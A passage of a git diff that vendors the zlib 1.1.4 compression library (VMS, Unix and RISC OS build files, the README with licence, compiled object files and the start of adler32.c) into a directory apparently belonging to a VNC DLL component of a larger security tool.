MAKE trees.OBJ "CC ''CCOPT' trees" - + trees.c deflate.h zutil.h zlib.h zconf.h +$ CALL MAKE uncompr.OBJ "CC ''CCOPT' uncompr" - + uncompr.c zlib.h zconf.h +$ CALL MAKE zutil.OBJ "CC ''CCOPT' zutil" - + zutil.c zutil.h zlib.h zconf.h +$ write sys$output "Building Zlib ..." +$ CALL MAKE libz.OLB "lib/crea libz.olb *.obj" *.OBJ +$ write sys$output "Building example..." +$ CALL MAKE example.OBJ "CC ''CCOPT' example" - + example.c zlib.h zconf.h +$ call make example.exe "LINK example,libz.olb/lib" example.obj libz.olb +$ write sys$output "Building minigzip..." +$ CALL MAKE minigzip.OBJ "CC ''CCOPT' minigzip" - + minigzip.c zlib.h zconf.h +$ call make minigzip.exe - + "LINK minigzip,libz.olb/lib,x11vms:xvmsutils.olb/lib" - + minigzip.obj libz.olb +$ else +$ mms/macro=('comp') +$ endif +$ write sys$output "Zlib build completed" +$ exit +$! +$! +$MAKE: SUBROUTINE !SUBROUTINE TO CHECK DEPENDENCIES +$ V = 'F$Verify(0) +$! P1 = What we are trying to make +$! P2 = Command to make it +$! P3 - P8 What it depends on +$ +$ If F$Search(P1) .Eqs. "" Then Goto Makeit +$ Time = F$CvTime(F$File(P1,"RDT")) +$arg=3 +$Loop: +$ Argument = P'arg +$ If Argument .Eqs. "" Then Goto Exit +$ El=0 +$Loop2: +$ File = F$Element(El," ",Argument) +$ If File .Eqs. " " Then Goto Endl +$ AFile = "" +$Loop3: +$ OFile = AFile +$ AFile = F$Search(File) +$ If AFile .Eqs. "" .Or. AFile .Eqs. OFile Then Goto NextEl +$ If F$CvTime(F$File(AFile,"RDT")) .Ges. Time Then Goto Makeit +$ Goto Loop3 +$NextEL: +$ El = El + 1 +$ Goto Loop2 +$EndL: +$ arg=arg+1 +$ If arg .Le. 8 Then Goto Loop +$ Goto Exit +$ +$Makeit: +$ VV=F$VERIFY(0) +$ write sys$output P2 +$ 'P2 +$ VV='F$Verify(VV) +$Exit: +$ If V Then Set Verify +$ENDSUBROUTINE diff --git a/external/source/reflective_vncdll/zlib/Makefile b/external/source/reflective_vncdll/zlib/Makefile new file mode 100644 index 0000000000..5074ecd28f --- /dev/null +++ b/external/source/reflective_vncdll/zlib/Makefile @@ -0,0 +1,175 @@ +# Makefile for zlib +# Copyright (C) 1995-2002 Jean-loup Gailly. +# For conditions of distribution and use, see copyright notice in zlib.h + +# To compile and test, type: +# ./configure; make test +# The call of configure is optional if you don't have special requirements +# If you wish to build zlib as a shared library, use: ./configure -s + +# To install /usr/local/lib/libz.* and /usr/local/include/zlib.h, type: +# make install +# To install in $HOME instead of /usr/local, use: +# make install prefix=$HOME + +CC=cc + +CFLAGS=-O +#CFLAGS=-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7 +#CFLAGS=-g -DDEBUG +#CFLAGS=-O3 -Wall -Wwrite-strings -Wpointer-arith -Wconversion \ +# -Wstrict-prototypes -Wmissing-prototypes + +LDFLAGS=-L. -lz +LDSHARED=$(CC) +CPP=$(CC) -E + +VER=1.1.4 +LIBS=libz.a +SHAREDLIB=libz.so + +AR=ar rc +RANLIB=ranlib +TAR=tar +SHELL=/bin/sh + +prefix = /usr/local +exec_prefix = ${prefix} +libdir = ${exec_prefix}/lib +includedir = ${prefix}/include + +OBJS = adler32.o compress.o crc32.o gzio.o uncompr.o deflate.o trees.o \ + zutil.o inflate.o infblock.o inftrees.o infcodes.o infutil.o inffast.o + +OBJA = +# to use the asm code: make OBJA=match.o + +TEST_OBJS = example.o minigzip.o + +DISTFILES = README FAQ INDEX ChangeLog configure Make*[a-z0-9] *.[ch] *.mms \ + algorithm.txt zlib.3 zlib.html \ + msdos/Make*[a-z0-9] msdos/zlib.def msdos/zlib.rc \ + nt/Make*[a-z0-9] nt/zlib.dnt amiga/Make*.??? os2/M*.os2 os2/zlib.def \ + contrib/RE*.contrib contrib/*.txt contrib/asm386/*.asm contrib/asm386/*.c \ + contrib/asm386/*.bat contrib/asm386/zlibvc.d?? contrib/asm[56]86/*.?86 \ + contrib/asm[56]86/*.S contrib/iostream/*.cpp \ + contrib/iostream/*.h contrib/iostream2/*.h contrib/iostream2/*.cpp \ + contrib/untgz/Makefile contrib/untgz/*.c contrib/untgz/*.w32 \ + contrib/minizip/[CM]*[pe] contrib/minizip/*.[ch] contrib/minizip/*.[td]?? \ + contrib/delphi*/*.??? + +all: example minigzip + +test: all + @LD_LIBRARY_PATH=.:$(LD_LIBRARY_PATH) ; export LD_LIBRARY_PATH; \ + echo hello world | ./minigzip | ./minigzip -d || \ + echo ' *** minigzip test FAILED ***' ; \ + if ./example; then \ + echo ' *** zlib test OK ***'; \ + else \ + echo ' *** zlib test FAILED ***'; \ + fi + +libz.a: $(OBJS) $(OBJA) + $(AR) $@ $(OBJS) $(OBJA) + -@ ($(RANLIB) $@ || true) >/dev/null 2>&1 + +match.o: match.S + $(CPP) match.S > _match.s + $(CC) -c _match.s + mv _match.o match.o + rm -f _match.s + +$(SHAREDLIB).$(VER): $(OBJS) + $(LDSHARED) -o $@ $(OBJS) + rm -f $(SHAREDLIB) $(SHAREDLIB).1 + ln -s $@ $(SHAREDLIB) + ln -s $@ $(SHAREDLIB).1 + +example: example.o $(LIBS) + $(CC) $(CFLAGS) -o $@ example.o $(LDFLAGS) + +minigzip: minigzip.o $(LIBS) + $(CC) $(CFLAGS) -o $@ minigzip.o $(LDFLAGS) + +install: $(LIBS) + -@if [ ! -d $(includedir) ]; then mkdir $(includedir); fi + -@if [ ! -d $(libdir) ]; then mkdir $(libdir); fi + cp zlib.h zconf.h $(includedir) + chmod 644 $(includedir)/zlib.h $(includedir)/zconf.h + cp $(LIBS) $(libdir) + cd $(libdir); chmod 755 $(LIBS) + -@(cd $(libdir); $(RANLIB) libz.a || true) >/dev/null 2>&1 + cd $(libdir); if test -f $(SHAREDLIB).$(VER); then \ + rm -f $(SHAREDLIB) $(SHAREDLIB).1; \ + ln -s $(SHAREDLIB).$(VER) $(SHAREDLIB); \ + ln -s $(SHAREDLIB).$(VER) $(SHAREDLIB).1; \ + (ldconfig || true) >/dev/null 2>&1; \ + fi +# The ranlib in install is needed on NeXTSTEP which checks file times +# ldconfig is for Linux + +uninstall: + cd $(includedir); \ + v=$(VER); \ + if test -f zlib.h; then \ + v=`sed -n '/VERSION "/s/.*"\(.*\)".*/\1/p' < zlib.h`; \ + rm -f zlib.h zconf.h; \ + fi; \ + cd $(libdir); rm -f libz.a; \ + if test -f $(SHAREDLIB).$$v; then \ + rm -f $(SHAREDLIB).$$v $(SHAREDLIB) $(SHAREDLIB).1; \ + fi + +clean: + rm -f *.o *~ example minigzip libz.a libz.so* foo.gz so_locations \ + _match.s maketree + +distclean: clean + +zip: + mv Makefile Makefile~; cp -p Makefile.in Makefile + rm -f test.c ztest*.c contrib/minizip/test.zip + v=`sed -n -e 's/\.//g' -e '/VERSION "/s/.*"\(.*\)".*/\1/p' < zlib.h`;\ + zip -ul9 zlib$$v $(DISTFILES) + mv Makefile~ Makefile + +dist: + mv Makefile Makefile~; cp -p Makefile.in Makefile + rm -f test.c ztest*.c contrib/minizip/test.zip + d=zlib-`sed -n '/VERSION "/s/.*"\(.*\)".*/\1/p' < zlib.h`;\ + rm -f $$d.tar.gz; \ + if test ! -d ../$$d; then rm -f ../$$d; ln -s `pwd` ../$$d; fi; \ + files=""; \ + for f in $(DISTFILES); do files="$$files $$d/$$f"; done; \ + cd ..; \ + GZIP=-9 $(TAR) chofz $$d/$$d.tar.gz $$files; \ + if test ! -d $$d; then rm -f $$d; fi + mv Makefile~ Makefile + +tags: + etags *.[ch] + +depend: + makedepend -- $(CFLAGS) -- *.[ch] + +# DO NOT DELETE THIS LINE -- make depend depends on it. + +adler32.o: zlib.h zconf.h +compress.o: zlib.h zconf.h +crc32.o: zlib.h zconf.h +deflate.o: deflate.h zutil.h zlib.h zconf.h +example.o: zlib.h zconf.h +gzio.o: zutil.h zlib.h zconf.h +infblock.o: infblock.h inftrees.h infcodes.h infutil.h zutil.h zlib.h zconf.h +infcodes.o: zutil.h zlib.h zconf.h +infcodes.o: inftrees.h infblock.h infcodes.h infutil.h inffast.h +inffast.o: zutil.h zlib.h zconf.h inftrees.h +inffast.o: infblock.h infcodes.h infutil.h inffast.h +inflate.o: zutil.h zlib.h zconf.h infblock.h +inftrees.o: zutil.h zlib.h zconf.h inftrees.h +infutil.o: zutil.h zlib.h zconf.h infblock.h inftrees.h infcodes.h infutil.h +minigzip.o: zlib.h zconf.h +trees.o: deflate.h zutil.h zlib.h zconf.h trees.h +uncompr.o: zlib.h zconf.h +zutil.o: zutil.h zlib.h zconf.h diff --git a/external/source/reflective_vncdll/zlib/Makefile.in b/external/source/reflective_vncdll/zlib/Makefile.in new file mode 100644 index 0000000000..5074ecd28f --- /dev/null +++ b/external/source/reflective_vncdll/zlib/Makefile.in @@ -0,0 +1,175 @@ +# Makefile for zlib +# Copyright (C) 1995-2002 Jean-loup Gailly. +# For conditions of distribution and use, see copyright notice in zlib.h + +# To compile and test, type: +# ./configure; make test +# The call of configure is optional if you don't have special requirements +# If you wish to build zlib as a shared library, use: ./configure -s + +# To install /usr/local/lib/libz.* and /usr/local/include/zlib.h, type: +# make install +# To install in $HOME instead of /usr/local, use: +# make install prefix=$HOME + +CC=cc + +CFLAGS=-O +#CFLAGS=-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7 +#CFLAGS=-g -DDEBUG +#CFLAGS=-O3 -Wall -Wwrite-strings -Wpointer-arith -Wconversion \ +# -Wstrict-prototypes -Wmissing-prototypes + +LDFLAGS=-L. -lz +LDSHARED=$(CC) +CPP=$(CC) -E + +VER=1.1.4 +LIBS=libz.a +SHAREDLIB=libz.so + +AR=ar rc +RANLIB=ranlib +TAR=tar +SHELL=/bin/sh + +prefix = /usr/local +exec_prefix = ${prefix} +libdir = ${exec_prefix}/lib +includedir = ${prefix}/include + +OBJS = adler32.o compress.o crc32.o gzio.o uncompr.o deflate.o trees.o \ + zutil.o inflate.o infblock.o inftrees.o infcodes.o infutil.o inffast.o + +OBJA = +# to use the asm code: make OBJA=match.o + +TEST_OBJS = example.o minigzip.o + +DISTFILES = README FAQ INDEX ChangeLog configure Make*[a-z0-9] *.[ch] *.mms \ + algorithm.txt zlib.3 zlib.html \ + msdos/Make*[a-z0-9] msdos/zlib.def msdos/zlib.rc \ + nt/Make*[a-z0-9] nt/zlib.dnt amiga/Make*.??? os2/M*.os2 os2/zlib.def \ + contrib/RE*.contrib contrib/*.txt contrib/asm386/*.asm contrib/asm386/*.c \ + contrib/asm386/*.bat contrib/asm386/zlibvc.d?? contrib/asm[56]86/*.?86 \ + contrib/asm[56]86/*.S contrib/iostream/*.cpp \ + contrib/iostream/*.h contrib/iostream2/*.h contrib/iostream2/*.cpp \ + contrib/untgz/Makefile contrib/untgz/*.c contrib/untgz/*.w32 \ + contrib/minizip/[CM]*[pe] contrib/minizip/*.[ch] contrib/minizip/*.[td]?? \ + contrib/delphi*/*.??? + +all: example minigzip + +test: all + @LD_LIBRARY_PATH=.:$(LD_LIBRARY_PATH) ; export LD_LIBRARY_PATH; \ + echo hello world | ./minigzip | ./minigzip -d || \ + echo ' *** minigzip test FAILED ***' ; \ + if ./example; then \ + echo ' *** zlib test OK ***'; \ + else \ + echo ' *** zlib test FAILED ***'; \ + fi + +libz.a: $(OBJS) $(OBJA) + $(AR) $@ $(OBJS) $(OBJA) + -@ ($(RANLIB) $@ || true) >/dev/null 2>&1 + +match.o: match.S + $(CPP) match.S > _match.s + $(CC) -c _match.s + mv _match.o match.o + rm -f _match.s + +$(SHAREDLIB).$(VER): $(OBJS) + $(LDSHARED) -o $@ $(OBJS) + rm -f $(SHAREDLIB) $(SHAREDLIB).1 + ln -s $@ $(SHAREDLIB) + ln -s $@ $(SHAREDLIB).1 + +example: example.o $(LIBS) + $(CC) $(CFLAGS) -o $@ example.o $(LDFLAGS) + +minigzip: minigzip.o $(LIBS) + $(CC) $(CFLAGS) -o $@ minigzip.o $(LDFLAGS) + +install: $(LIBS) + -@if [ ! -d $(includedir) ]; then mkdir $(includedir); fi + -@if [ ! -d $(libdir) ]; then mkdir $(libdir); fi + cp zlib.h zconf.h $(includedir) + chmod 644 $(includedir)/zlib.h $(includedir)/zconf.h + cp $(LIBS) $(libdir) + cd $(libdir); chmod 755 $(LIBS) + -@(cd $(libdir); $(RANLIB) libz.a || true) >/dev/null 2>&1 + cd $(libdir); if test -f $(SHAREDLIB).$(VER); then \ + rm -f $(SHAREDLIB) $(SHAREDLIB).1; \ + ln -s $(SHAREDLIB).$(VER) $(SHAREDLIB); \ + ln -s $(SHAREDLIB).$(VER) $(SHAREDLIB).1; \ + (ldconfig || true) >/dev/null 2>&1; \ + fi +# The ranlib in install is needed on NeXTSTEP which checks file times +# ldconfig is for Linux + +uninstall: + cd $(includedir); \ + v=$(VER); \ + if test -f zlib.h; then \ + v=`sed -n '/VERSION "/s/.*"\(.*\)".*/\1/p' < zlib.h`; \ + rm -f zlib.h zconf.h; \ + fi; \ + cd $(libdir); rm -f libz.a; \ + if test -f $(SHAREDLIB).$$v; then \ + rm -f $(SHAREDLIB).$$v $(SHAREDLIB) $(SHAREDLIB).1; \ + fi + +clean: + rm -f *.o *~ example minigzip libz.a libz.so* foo.gz so_locations \ + _match.s maketree + +distclean: clean + +zip: + mv Makefile Makefile~; cp -p Makefile.in Makefile + rm -f test.c ztest*.c contrib/minizip/test.zip + v=`sed -n -e 's/\.//g' -e '/VERSION "/s/.*"\(.*\)".*/\1/p' < zlib.h`;\ + zip -ul9 zlib$$v $(DISTFILES) + mv Makefile~ Makefile + +dist: + mv Makefile Makefile~; cp -p Makefile.in Makefile + rm -f test.c ztest*.c contrib/minizip/test.zip + d=zlib-`sed -n '/VERSION "/s/.*"\(.*\)".*/\1/p' < zlib.h`;\ + rm -f $$d.tar.gz; \ + if test ! -d ../$$d; then rm -f ../$$d; ln -s `pwd` ../$$d; fi; \ + files=""; \ + for f in $(DISTFILES); do files="$$files $$d/$$f"; done; \ + cd ..; \ + GZIP=-9 $(TAR) chofz $$d/$$d.tar.gz $$files; \ + if test ! -d $$d; then rm -f $$d; fi + mv Makefile~ Makefile + +tags: + etags *.[ch] + +depend: + makedepend -- $(CFLAGS) -- *.[ch] + +# DO NOT DELETE THIS LINE -- make depend depends on it. + +adler32.o: zlib.h zconf.h +compress.o: zlib.h zconf.h +crc32.o: zlib.h zconf.h +deflate.o: deflate.h zutil.h zlib.h zconf.h +example.o: zlib.h zconf.h +gzio.o: zutil.h zlib.h zconf.h +infblock.o: infblock.h inftrees.h infcodes.h infutil.h zutil.h zlib.h zconf.h +infcodes.o: zutil.h zlib.h zconf.h +infcodes.o: inftrees.h infblock.h infcodes.h infutil.h inffast.h +inffast.o: zutil.h zlib.h zconf.h inftrees.h +inffast.o: infblock.h infcodes.h infutil.h inffast.h +inflate.o: zutil.h zlib.h zconf.h infblock.h +inftrees.o: zutil.h zlib.h zconf.h inftrees.h +infutil.o: zutil.h zlib.h zconf.h infblock.h inftrees.h infcodes.h infutil.h +minigzip.o: zlib.h zconf.h +trees.o: deflate.h zutil.h zlib.h zconf.h trees.h +uncompr.o: zlib.h zconf.h +zutil.o: zutil.h zlib.h zconf.h diff --git a/external/source/reflective_vncdll/zlib/Makefile.riscos b/external/source/reflective_vncdll/zlib/Makefile.riscos new file mode 100644 index 0000000000..8ba72ca676 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/Makefile.riscos @@ -0,0 +1,151 @@ +# Project: zlib_1_03 +# Patched for zlib 1.1.2 rw@shadow.org.uk 19980430 +# test works out-of-the-box, installs `somewhere' on demand + +# Toolflags: +CCflags = -c -depend !Depend -IC: -g -throwback -DRISCOS -fah +C++flags = -c -depend !Depend -IC: -throwback +Linkflags = -aif -c++ -o $@ +ObjAsmflags = -throwback -NoCache -depend !Depend +CMHGflags = +LibFileflags = -c -l -o $@ +Squeezeflags = -o $@ + +# change the line below to where _you_ want the library installed. +libdest = lib:zlib + +# Final targets: +@.lib: @.o.adler32 @.o.compress @.o.crc32 @.o.deflate @.o.gzio \ + @.o.infblock @.o.infcodes @.o.inffast @.o.inflate @.o.inftrees @.o.infutil @.o.trees \ + @.o.uncompr @.o.zutil + LibFile $(LibFileflags) @.o.adler32 @.o.compress @.o.crc32 @.o.deflate \ + @.o.gzio @.o.infblock @.o.infcodes @.o.inffast @.o.inflate @.o.inftrees @.o.infutil \ + @.o.trees @.o.uncompr @.o.zutil +test: @.minigzip @.example @.lib + @copy @.lib @.libc A~C~DF~L~N~P~Q~RS~TV + @echo running tests: hang on. + @/@.minigzip -f -9 libc + @/@.minigzip -d libc-gz + @/@.minigzip -f -1 libc + @/@.minigzip -d libc-gz + @/@.minigzip -h -9 libc + @/@.minigzip -d libc-gz + @/@.minigzip -h -1 libc + @/@.minigzip -d libc-gz + @/@.minigzip -9 libc + @/@.minigzip -d libc-gz + @/@.minigzip -1 libc + @/@.minigzip -d libc-gz + @diff @.lib @.libc + @echo that should have reported '@.lib and @.libc identical' if you have diff. + @/@.example @.fred @.fred + @echo that will have given lots of hello!'s. + +@.minigzip: @.o.minigzip @.lib C:o.Stubs + Link $(Linkflags) @.o.minigzip @.lib C:o.Stubs +@.example: @.o.example @.lib C:o.Stubs + Link $(Linkflags) @.o.example @.lib C:o.Stubs + +install: @.lib + cdir $(libdest) + cdir $(libdest).h + @copy @.h.zlib $(libdest).h.zlib A~C~DF~L~N~P~Q~RS~TV + @copy @.h.zconf $(libdest).h.zconf A~C~DF~L~N~P~Q~RS~TV + @copy @.lib $(libdest).lib A~C~DF~L~N~P~Q~RS~TV + @echo okay, installed zlib in $(libdest) + +clean:; remove @.minigzip + remove @.example + remove @.libc + -wipe @.o.* F~r~cV + remove @.fred + +# User-editable dependencies: +.c.o: + cc $(ccflags) -o $@ $< + +# Static dependencies: + +# Dynamic dependencies: +o.example: c.example +o.example: h.zlib +o.example: h.zconf +o.minigzip: c.minigzip +o.minigzip: h.zlib +o.minigzip: h.zconf +o.adler32: c.adler32 +o.adler32: h.zlib +o.adler32: h.zconf +o.compress: c.compress +o.compress: h.zlib +o.compress: h.zconf +o.crc32: c.crc32 +o.crc32: h.zlib +o.crc32: h.zconf +o.deflate: c.deflate +o.deflate: h.deflate +o.deflate: h.zutil +o.deflate: h.zlib +o.deflate: h.zconf +o.gzio: c.gzio +o.gzio: h.zutil +o.gzio: h.zlib +o.gzio: h.zconf +o.infblock: c.infblock +o.infblock: h.zutil +o.infblock: h.zlib +o.infblock: h.zconf +o.infblock: h.infblock +o.infblock: h.inftrees +o.infblock: h.infcodes +o.infblock: h.infutil +o.infcodes: c.infcodes +o.infcodes: h.zutil +o.infcodes: h.zlib +o.infcodes: h.zconf +o.infcodes: h.inftrees +o.infcodes: h.infblock +o.infcodes: h.infcodes +o.infcodes: h.infutil +o.infcodes: h.inffast +o.inffast: c.inffast +o.inffast: h.zutil +o.inffast: h.zlib +o.inffast: h.zconf +o.inffast: h.inftrees +o.inffast: h.infblock +o.inffast: h.infcodes +o.inffast: h.infutil +o.inffast: h.inffast +o.inflate: c.inflate +o.inflate: h.zutil +o.inflate: h.zlib +o.inflate: h.zconf +o.inflate: h.infblock +o.inftrees: c.inftrees +o.inftrees: h.zutil +o.inftrees: h.zlib +o.inftrees: h.zconf +o.inftrees: h.inftrees +o.inftrees: h.inffixed +o.infutil: c.infutil +o.infutil: h.zutil +o.infutil: h.zlib +o.infutil: h.zconf +o.infutil: h.infblock +o.infutil: h.inftrees +o.infutil: h.infcodes +o.infutil: h.infutil +o.trees: c.trees +o.trees: h.deflate +o.trees: h.zutil +o.trees: h.zlib +o.trees: h.zconf +o.trees: h.trees +o.uncompr: c.uncompr +o.uncompr: h.zlib +o.uncompr: h.zconf +o.zutil: c.zutil +o.zutil: h.zutil +o.zutil: h.zlib +o.zutil: h.zconf diff --git a/external/source/reflective_vncdll/zlib/README b/external/source/reflective_vncdll/zlib/README new file mode 100644 index 0000000000..bd8c016b2c --- /dev/null +++ b/external/source/reflective_vncdll/zlib/README @@ -0,0 +1,147 @@ +zlib 1.1.4 is a general purpose data compression library. All the code +is thread safe. The data format used by the zlib library +is described by RFCs (Request for Comments) 1950 to 1952 in the files +http://www.ietf.org/rfc/rfc1950.txt (zlib format), rfc1951.txt (deflate +format) and rfc1952.txt (gzip format). These documents are also available in +other formats from ftp://ftp.uu.net/graphics/png/documents/zlib/zdoc-index.html + +All functions of the compression library are documented in the file zlib.h +(volunteer to write man pages welcome, contact jloup@gzip.org). A usage +example of the library is given in the file example.c which also tests that +the library is working correctly. Another example is given in the file +minigzip.c. The compression library itself is composed of all source files +except example.c and minigzip.c. + +To compile all files and run the test program, follow the instructions +given at the top of Makefile. In short "make test; make install" +should work for most machines. For Unix: "./configure; make test; make install" +For MSDOS, use one of the special makefiles such as Makefile.msc. +For VMS, use Make_vms.com or descrip.mms. + +Questions about zlib should be sent to , or to +Gilles Vollant for the Windows DLL version. +The zlib home page is http://www.zlib.org or http://www.gzip.org/zlib/ +Before reporting a problem, please check this site to verify that +you have the latest version of zlib; otherwise get the latest version and +check whether the problem still exists or not. + +PLEASE read the zlib FAQ http://www.gzip.org/zlib/zlib_faq.html +before asking for help. + +Mark Nelson wrote an article about zlib for the Jan. 1997 +issue of Dr. Dobb's Journal; a copy of the article is available in +http://dogma.net/markn/articles/zlibtool/zlibtool.htm + +The changes made in version 1.1.4 are documented in the file ChangeLog. +The only changes made since 1.1.3 are bug corrections: + +- ZFREE was repeated on same allocation on some error conditions. + This creates a security problem described in + http://www.zlib.org/advisory-2002-03-11.txt +- Returned incorrect error (Z_MEM_ERROR) on some invalid data +- Avoid accesses before window for invalid distances with inflate window + less than 32K. +- force windowBits > 8 to avoid a bug in the encoder for a window size + of 256 bytes. (A complete fix will be available in 1.1.5). + +The beta version 1.1.5beta includes many more changes. A new official +version 1.1.5 will be released as soon as extensive testing has been +completed on it. + + +Unsupported third party contributions are provided in directory "contrib". + +A Java implementation of zlib is available in the Java Development Kit +http://www.javasoft.com/products/JDK/1.1/docs/api/Package-java.util.zip.html +See the zlib home page http://www.zlib.org for details. + +A Perl interface to zlib written by Paul Marquess +is in the CPAN (Comprehensive Perl Archive Network) sites +http://www.cpan.org/modules/by-module/Compress/ + +A Python interface to zlib written by A.M. Kuchling +is available in Python 1.5 and later versions, see +http://www.python.org/doc/lib/module-zlib.html + +A zlib binding for TCL written by Andreas Kupries +is availlable at http://www.westend.com/~kupries/doc/trf/man/man.html + +An experimental package to read and write files in .zip format, +written on top of zlib by Gilles Vollant , is +available at http://www.winimage.com/zLibDll/unzip.html +and also in the contrib/minizip directory of zlib. + + +Notes for some targets: + +- To build a Windows DLL version, include in a DLL project zlib.def, zlib.rc + and all .c files except example.c and minigzip.c; compile with -DZLIB_DLL + The zlib DLL support was initially done by Alessandro Iacopetti and is + now maintained by Gilles Vollant . Check the zlib DLL + home page at http://www.winimage.com/zLibDll + + From Visual Basic, you can call the DLL functions which do not take + a structure as argument: compress, uncompress and all gz* functions. + See contrib/visual-basic.txt for more information, or get + http://www.tcfb.com/dowseware/cmp-z-it.zip + +- For 64-bit Irix, deflate.c must be compiled without any optimization. + With -O, one libpng test fails. The test works in 32 bit mode (with + the -n32 compiler flag). The compiler bug has been reported to SGI. + +- zlib doesn't work with gcc 2.6.3 on a DEC 3000/300LX under OSF/1 2.1 + it works when compiled with cc. + +- on Digital Unix 4.0D (formely OSF/1) on AlphaServer, the cc option -std1 + is necessary to get gzprintf working correctly. This is done by configure. + +- zlib doesn't work on HP-UX 9.05 with some versions of /bin/cc. It works + with other compilers. Use "make test" to check your compiler. + +- gzdopen is not supported on RISCOS, BEOS and by some Mac compilers. + +- For Turbo C the small model is supported only with reduced performance to + avoid any far allocation; it was tested with -DMAX_WBITS=11 -DMAX_MEM_LEVEL=3 + +- For PalmOs, see http://www.cs.uit.no/~perm/PASTA/pilot/software.html + Per Harald Myrvang + + +Acknowledgments: + + The deflate format used by zlib was defined by Phil Katz. The deflate + and zlib specifications were written by L. Peter Deutsch. Thanks to all the + people who reported problems and suggested various improvements in zlib; + they are too numerous to cite here. + +Copyright notice: + + (C) 1995-2002 Jean-loup Gailly and Mark Adler + + This software is provided 'as-is', without any express or implied + warranty. In no event will the authors be held liable for any damages + arising from the use of this software. + + Permission is granted to anyone to use this software for any purpose, + including commercial applications, and to alter it and redistribute it + freely, subject to the following restrictions: + + 1. The origin of this software must not be misrepresented; you must not + claim that you wrote the original software. If you use this software + in a product, an acknowledgment in the product documentation would be + appreciated but is not required. + 2. Altered source versions must be plainly marked as such, and must not be + misrepresented as being the original software. + 3. This notice may not be removed or altered from any source distribution. + + Jean-loup Gailly Mark Adler + jloup@gzip.org madler@alumni.caltech.edu + +If you use the zlib library in a product, we would appreciate *not* +receiving lengthy legal documents to sign. The sources are provided +for free but without warranty of any kind. The library has been +entirely written by Jean-loup Gailly and Mark Adler; it does not +include third-party code. + +If you redistribute modified sources, we would appreciate that you include +in the file ChangeLog history information documenting your changes. diff --git a/external/source/reflective_vncdll/zlib/Release/BuildLog.htm b/external/source/reflective_vncdll/zlib/Release/BuildLog.htm new file mode 100644 index 0000000000..cebd0997e0 Binary files /dev/null and b/external/source/reflective_vncdll/zlib/Release/BuildLog.htm differ diff --git a/external/source/reflective_vncdll/zlib/Release/adler32.obj b/external/source/reflective_vncdll/zlib/Release/adler32.obj new file mode 100644 index 0000000000..584103e47b Binary files /dev/null and b/external/source/reflective_vncdll/zlib/Release/adler32.obj differ diff --git a/external/source/reflective_vncdll/zlib/Release/compress.obj b/external/source/reflective_vncdll/zlib/Release/compress.obj new file mode 100644 index 0000000000..17323efba2 Binary files /dev/null and b/external/source/reflective_vncdll/zlib/Release/compress.obj differ diff --git a/external/source/reflective_vncdll/zlib/Release/crc32.obj b/external/source/reflective_vncdll/zlib/Release/crc32.obj new file mode 100644 index 0000000000..3933921a65 Binary files /dev/null and b/external/source/reflective_vncdll/zlib/Release/crc32.obj differ diff --git a/external/source/reflective_vncdll/zlib/Release/deflate.obj b/external/source/reflective_vncdll/zlib/Release/deflate.obj new file mode 100644 index 0000000000..a79a560e4e Binary files /dev/null and b/external/source/reflective_vncdll/zlib/Release/deflate.obj differ diff --git a/external/source/reflective_vncdll/zlib/Release/gzio.obj b/external/source/reflective_vncdll/zlib/Release/gzio.obj new file mode 100644 index 0000000000..eee3a298f1 Binary files /dev/null and b/external/source/reflective_vncdll/zlib/Release/gzio.obj differ diff --git a/external/source/reflective_vncdll/zlib/Release/infblock.obj b/external/source/reflective_vncdll/zlib/Release/infblock.obj new file mode 100644 index 0000000000..9c66f4a038 Binary files /dev/null and b/external/source/reflective_vncdll/zlib/Release/infblock.obj differ diff --git a/external/source/reflective_vncdll/zlib/Release/infcodes.obj b/external/source/reflective_vncdll/zlib/Release/infcodes.obj new file mode 100644 index 0000000000..f0ebad7978 Binary files /dev/null and b/external/source/reflective_vncdll/zlib/Release/infcodes.obj differ diff --git a/external/source/reflective_vncdll/zlib/Release/inffast.obj b/external/source/reflective_vncdll/zlib/Release/inffast.obj new file mode 100644 index 0000000000..94f25f9e04 Binary files /dev/null and b/external/source/reflective_vncdll/zlib/Release/inffast.obj differ diff --git a/external/source/reflective_vncdll/zlib/Release/inflate.obj b/external/source/reflective_vncdll/zlib/Release/inflate.obj new file mode 100644 index 0000000000..e1cd1a5855 Binary files /dev/null and b/external/source/reflective_vncdll/zlib/Release/inflate.obj differ diff --git a/external/source/reflective_vncdll/zlib/Release/inftrees.obj b/external/source/reflective_vncdll/zlib/Release/inftrees.obj new file mode 100644 index 0000000000..424ca9ac03 Binary files /dev/null and b/external/source/reflective_vncdll/zlib/Release/inftrees.obj differ diff --git a/external/source/reflective_vncdll/zlib/Release/infutil.obj b/external/source/reflective_vncdll/zlib/Release/infutil.obj new file mode 100644 index 0000000000..da089388e1 Binary files /dev/null and b/external/source/reflective_vncdll/zlib/Release/infutil.obj differ diff --git a/external/source/reflective_vncdll/zlib/Release/trees.obj b/external/source/reflective_vncdll/zlib/Release/trees.obj new file mode 100644 index 0000000000..0de1eb98c7 Binary files /dev/null and b/external/source/reflective_vncdll/zlib/Release/trees.obj differ diff --git a/external/source/reflective_vncdll/zlib/Release/uncompr.obj b/external/source/reflective_vncdll/zlib/Release/uncompr.obj new file mode 100644 index 0000000000..3ea82965f7 Binary files /dev/null and b/external/source/reflective_vncdll/zlib/Release/uncompr.obj differ diff --git a/external/source/reflective_vncdll/zlib/Release/vc90.idb b/external/source/reflective_vncdll/zlib/Release/vc90.idb new file mode 100644 index 0000000000..63b51c4e91 Binary files /dev/null and b/external/source/reflective_vncdll/zlib/Release/vc90.idb differ diff --git a/external/source/reflective_vncdll/zlib/Release/zlib.lib b/external/source/reflective_vncdll/zlib/Release/zlib.lib new file mode 100644 index 0000000000..a24b549e23 Binary files /dev/null and b/external/source/reflective_vncdll/zlib/Release/zlib.lib differ diff --git a/external/source/reflective_vncdll/zlib/Release/zutil.obj b/external/source/reflective_vncdll/zlib/Release/zutil.obj new file mode 100644 index 0000000000..ea33300757 Binary files /dev/null and b/external/source/reflective_vncdll/zlib/Release/zutil.obj differ diff --git a/external/source/reflective_vncdll/zlib/adler32.c b/external/source/reflective_vncdll/zlib/adler32.c new file mode 100644 index 0000000000..1621236ef2 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/adler32.c @@ -0,0 +1,48 @@ +/* adler32.c -- compute the Adler-32 checksum of a data stream + * Copyright (C) 1995-2002 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* @(#) $Id: adler32.c 3351 2006-01-08 23:25:19Z mmiller $ */ + +#include "zlib.h" 